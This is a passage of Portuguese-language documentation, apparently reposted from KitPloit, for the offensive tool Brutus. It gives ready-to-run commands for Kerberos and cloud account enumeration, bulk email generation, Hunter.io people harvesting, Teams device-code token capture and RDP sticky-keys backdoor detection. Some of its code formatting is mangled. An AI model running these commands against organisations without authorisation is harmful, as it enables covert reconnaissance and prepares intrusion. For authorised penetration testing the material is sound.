    **Implementação técnica:** O suporte ao protocolo RDP usa [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) compilado para WebAssembly e executado via [wazero](https://github.com/tetratelabs/wazero), mantendo o design zero-CGO e binário único do Brutus.
    
    ---
    
    ## Enumeração de Contas
    
    O subcomando `enum` enumera quais oráculos de existência de conta funcionam para uma organização (e enumera e-mails contra eles) ou enumera usuários do Active Directory, tudo sem enviar senhas.
    
    ### Enumeração de Oráculo de Existência de Conta
    
    Identifique quais oráculos de existência de conta não autenticados (microsoft365, google, github, mais o oráculo do Microsoft Teams) funcionam para uma organização, valide-os contra um usuário conhecido-válido e, em seguida, enumere e-mails candidatos contra os oráculos funcionais. O reconhecimento DNS TXT revela os oráculos candidatos; a validação contra `--known-valid` é o destaque. `--known-valid` é obrigatório, e a enumeração é executada apenas contra os oráculos que o confirmam:```bash
    # Discover candidate oracles via DNS and report which ones work
    brutus enum active oracles --domain example.com --known-valid [email protected]
    
    # Enumerate specific emails against the working oracles
    brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
    
    # Enumerate emails from file
    brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
    
    # Generate emails from embedded name lists and enumerate against working oracles
    brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
    
    # Discover working oracles with a known-valid email before large-scale enumeration
    brutus enum active oracles discover --domain example.com --known-valid [email protected]
    

    Enumeração de Usuários Kerberos

    Enumere nomes de usuários do Active Directory via Kerberos AS-REQ (nenhuma senha enviada, sem risco de bloqueio):```bash

    Enumerate specific users

    brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

    Enumerate from file

    brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

    Generate usernames and pipe to Kerberos enum

    brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

    root@kitploit:~
    ### Geração de E-mail/Nome de Usuário
    
    Gere endereços de e-mail ou nomes de usuário a partir de listas de palavras de nomes próprios/sobrenomes incorporadas:```bash
    # Generate emails: [email protected]
    brutus enum generate --domain example.com --format flast
    
    # Generate usernames only (no domain): jsmith
    brutus enum generate --format flast
    
    # Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
    brutus enum generate --domain example.com --format first.last
    

    Hunter.io Domain Search

    Descubra pessoas (e-mail, nome, cargo, telefone, departamento, senioridade, confiança) associadas a um domínio via a API Hunter.io Domain Search. Pagina automaticamente até que todos os resultados sejam recuperados.```bash

    Requires a Hunter.io API key — set via env var (preferred, keeps key out of process list)

    export HUNTER_API_KEY=your_key_here

    Discover people for a domain

    brutus enum hunter --domain example.com

    Provide the key explicitly (visible in process list and shell history — prefer HUNTER_API_KEY)

    brutus enum hunter --domain example.com --api-key your_key_here

    JSONL output to file (one record per person, with type:"hunter" discriminator)

    brutus enum hunter --domain example.com --output people.jsonl

    Adjust pagination page size (default: 100)

    brutus enum hunter --domain example.com --limit 50

    root@kitploit:~
    ---
    
    ### Autenticação do Microsoft Teams / Entra ID
    
    Obtenha um token de acesso OAuth2, token de atualização e token de ID do Microsoft Entra ID (Azure AD) usando o [fluxo de código de dispositivo](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Os tokens resultantes podem ser usados para chamadas da API do Microsoft Graph, enumeração do Teams e auditoria por meio de ferramentas como [ROADtools](https://github.com/dirkjanm/ROADtools) ou consultas Graph personalizadas.```bash
    # Authenticate against the common endpoint (any Microsoft tenant)
    brutus enum active teams auth
    
    # Authenticate against a specific tenant by domain or GUID
    brutus enum active teams auth --tenant contoso.com
    brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
    
    # Request a different resource scope (space-separated). The default targets the
    # Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
    # authorized for Microsoft Graph (Graph yields AADSTS65002).
    brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
    
    # Use a custom app registration (your own Azure app client ID)
    brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
    
    # Capture the full token set as JSONL for piping to other tools
    brutus enum active teams auth -o tokens.jsonl
    brutus enum active teams auth --json
    

    Como funciona:

    1. Brutus solicita um código de dispositivo de login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode
    2. Um código curto e um URL são exibidos — abra o URL em qualquer navegador e insira o código
    3. Brutus faz polling até que você complete o login, o código expire ou pressione Ctrl+C
    4. Em caso de sucesso, o token de acesso, o token de atualização e o token de ID são exibidos

    A saída humana mostra apenas os primeiros 20 caracteres do token de acesso (suficiente para verificação). Use --json ou -o para capturar os valores completos do token.

    ID de cliente padrão: O aplicativo de desktop do Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264), um cliente público de primeira parte que suporta fluxo de código de dispositivo. Substitua com --client-id para usar seu próprio registro de aplicativo.``` $ brutus enum active teams auth --tenant contoso.com [*] Starting Microsoft device code authentication...

    [*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m

    [*] Waiting for you to complete sign-in...

    [+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:

    root@kitploit:~
    #### Enumeração de usuários do Teams
    
    Uma vez autenticado, enumere usuários corporativos do Teams por endereço de e-mail. Cada
    resultado é `exists`, `blocked` (o locatário proíbe pesquisa externa, mas o usuário
    pode existir), `not found` ou `unknown` (falha de autenticação/transporte). Contas Personal/Live
    não são suportadas — apenas locatários corporativos.```bash
    # Device-code auth inline, then enumerate a couple of emails
    brutus enum active teams users -e [email protected],[email protected]
    
    # Generate candidate emails for a domain and enumerate the most-likely 5000
    # (presence and out-of-office are gathered by default; use --no-presence to skip)
    brutus enum active teams users --domain target.com --format first.last --limit 5000
    
    # Enumerate emails from a file
    brutus enum active teams users -E emails.txt
    
    # Reuse a token captured earlier and route through a SOCKS5 proxy
    brutus enum active teams auth -o token.jsonl
    brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
    
    # Provide an access token directly
    brutus enum active teams users -e [email protected] --access-token "$TOKEN"
    

    Quando um token de atualização está disponível (via --token-file ou --refresh-token), um token de acesso expirado é renovado automaticamente uma vez; caso contrário, um 401 degrada-se graciosamente para um resultado unknown.


    Enumeração de contas do Google Workspace

    Verifique se endereços de e-mail correspondem a contas do Google usando dois oráculos não autenticados — nenhum token ou login necessário:

    • Redirecionamento SSO do AccountChooser — revela contas do Workspace em domínios configurados com logon único, além do host do provedor de identidade (IdP) para o qual redirecionam (workspace-sso).
    • Sonda Gmail GXLU — revela contas habilitadas para Gmail (gmail).

    Cada resultado é exists (com o método de confirmação e, para SSO, o host IdP) ou not found.```bash

    Enumerate a couple of emails

    brutus enum active google -e [email protected],[email protected]

    Generate candidate emails for a domain and enumerate the most-likely 5000

    brutus enum active google --domain target.com --format first.last --limit 5000

    Enumerate emails from a file

    brutus enum active google -E emails.txt

    Route through a SOCKS5 proxy and raise concurrency

    brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20

    root@kitploit:~
    `--domain` reutiliza o mesmo gerador de nomes próprios/sobrenomes ordenados por frequência que `enum generate`; `--format` seleciona o layout do nome de usuário e `--limit` limita a geração aos primeiros N candidatos (mais prováveis). `--domain` pode ser combinado com `-e`/`-E`.
    
    ---
    
    ## Limitações Conhecidas
    
    ### Detecção Heurística de Teclas de Aderência
    
    - **Falsos negativos alternados:** A detecção exclusivamente heurística (`brutus logon` sem `--experimental-ai`) pode produzir falsos negativos em escaneamentos repetidos contra o mesmo alvo. Após uma detecção bem-sucedida, a janela do cmd.exe permanece aberta no servidor. Conexões subsequentes veem o cmd.exe no quadro de referência, e como enviar 5x Shift não cria uma nova janela, a diferença de pixels é mínima — resultando em um veredito "limpo". Isso não afeta o modo `--experimental-ai`, que usa a análise da API Vision diretamente no quadro de resposta (não uma diferença entre quadro de referência e resposta) e identifica confiavelmente a janela do terminal independentemente do estado anterior.
    - **Solução alternativa:** Use `--experimental-ai` com `ANTHROPIC_API_KEY` configurada para detecção consistente em escaneamentos repetidos, ou aguarde um intervalo entre escaneamentos para a sessão RDP ser reiniciada.
    
    ### Plugin do Navegador
    
    - Requer Chrome/Chromium instalado localmente
    - O modo headless pode não funcionar em todos os sistemas
    - Algumas páginas de login com muito JavaScript podem exigir tempo de espera adicional
    
    Baixar ferramenta